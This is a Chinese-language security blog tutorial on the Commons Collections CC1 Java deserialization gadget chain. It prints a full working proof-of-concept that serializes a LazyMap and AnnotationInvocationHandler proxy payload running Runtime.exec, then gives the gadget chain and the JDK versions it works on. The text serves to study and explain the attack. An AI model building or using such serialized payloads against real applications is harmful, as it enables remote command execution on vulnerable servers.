cc链的另一种构造方式 接着上篇的分析,上文中讲到LazyMap通过get()方法可以达到利用链触发命令执行
 
根据get()方法克制,根据传入的key进行判断,如果map中不包含此key,就会通过factory调用transform()方法,这里的factory是可以通过构造方法进行赋值的,那么这里可以将factory的值赋值为ChainedTransformers,就可以触发后面的调用链完成命令执行。但可以看到LazyMap的构造方法是被protected关键词修饰的,是无法直接进行new创建的,
查找其他函数时,发现decorate()方法可以完成factory的赋值。这也是为什么在前面的POC里面我们调用该方法并传入innerMap和transformerChain参数。
这里传入的innerMap为为一个Map集合,transformerChain为一个被ChainedTransformer修饰过的Transformer[]数组
1 Map tmpmap = LazyMap.decorate(innerMap, transformerChain); 
 
调试分析,首先进入decorate()方法,完成factory的赋值
下一步进入get()方法,调用transform()方法,后续就是循环调用Transformer#transform方法
上面是我们测试的POC的调用过程,但在实际利用中,如何让它调用到我们的get()方法呢,在上篇中AnnotationInvocationHandler的invoke()方法会调用get()方法
根据构造方法传入第⼀个参数是⼀个Annotation类类型参数,该类是注解类,第二个是map类型参数,这个参数可以传LazyMap类型的对象去调用get()方法,get()方法调用transform(),
怎么去调用AnnotationInvocationHandler的invoke
POC分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {         Transformer[] transformers = new Transformer[] {                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})         };         Transformer transformerChain = new ChainedTransformer(transformers);         Map innerMap = new HashMap();         Map outerMap = LazyMap.decorate(innerMap, transformerChain);         Class clazz =                 Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor construct = clazz.getDeclaredConstructor(Class.class,                 Map.class);         construct.setAccessible(true);         InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);         handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));         oos.writeObject(handler);              } 
 
看下这行代码
1 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); 
 
这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口,可以直接作为调用处理器传入。在poc执行反序列化时,由于AnnotationInvocationHandler重写了readObject()方法,并且readObject()方法会调用memberValues.entrySet().iterator(),这里的memberValues即为被代理类LazyMap,通过构造方法传入并赋值
在下面代理对象是proxyMap,当调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都会执行一次。
1 2 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);         handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); 
 
所以接下来就会执行AnnotationInvocationHandler的invoke()方法,接着调用LazyMap#get()触发后面的利用链
进入get()方法,如下,后面就和之前的利用过程一致了
完整的利用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Gadget chain: 		ObjectInputStream.readObject() 			AnnotationInvocationHandler.readObject() 				Map(Proxy).entrySet() 					AnnotationInvocationHandler.invoke() 						LazyMap.get() 							ChainedTransformer.transform() 								ConstantTransformer.transform() 								InvokerTransformer.transform() 									Method.invoke() 										Class.getMethod() 								InvokerTransformer.transform() 									Method.invoke() 										Runtime.getRuntime() 								InvokerTransformer.transform() 									Method.invoke() 										Runtime.exec() 
 
总结 CC1这条链里面是有版本限制的,在高版本中对readObject()方法进行了修改,经过测试jdk < 8u71,可以利用成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 jdk1.7.0_21 【成功】 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {         var1.defaultReadObject();         AnnotationType var2 = null;         try {             var2 = AnnotationType.getInstance(this.type);         } catch (IllegalArgumentException var9) {             return;         }         Map var3 = var2.memberTypes();         Iterator var4 = this.memberValues.entrySet().iterator();         while(var4.hasNext()) {             Entry var5 = (Entry)var4.next();             String var6 = (String)var5.getKey();             Class var7 = (Class)var3.get(var6);             if (var7 != null) {                 Object var8 = var5.getValue();                 if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {                     var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));                 }             }         }     }      jdk1.8.0_171 【失败】 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {         GetField var2 = var1.readFields();         Class var3 = (Class)var2.get("type", (Object)null);         Map var4 = (Map)var2.get("memberValues", (Object)null);         AnnotationType var5 = null;         try {             var5 = AnnotationType.getInstance(var3);         } catch (IllegalArgumentException var13) {             throw new InvalidObjectException("Non-annotation type in annotation serial stream");         }         Map var6 = var5.memberTypes();         LinkedHashMap var7 = new LinkedHashMap();         String var10;         Object var11;         for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {             Entry var9 = (Entry)var8.next();             var10 = (String)var9.getKey();             var11 = null;             Class var12 = (Class)var6.get(var10);             if (var12 != null) {                 var11 = var9.getValue();                 if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {                     var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));                 }             }         }         AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);         AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);     } 
 
参考 https://www.cnblogs.com/nice0e3/p/13798371.html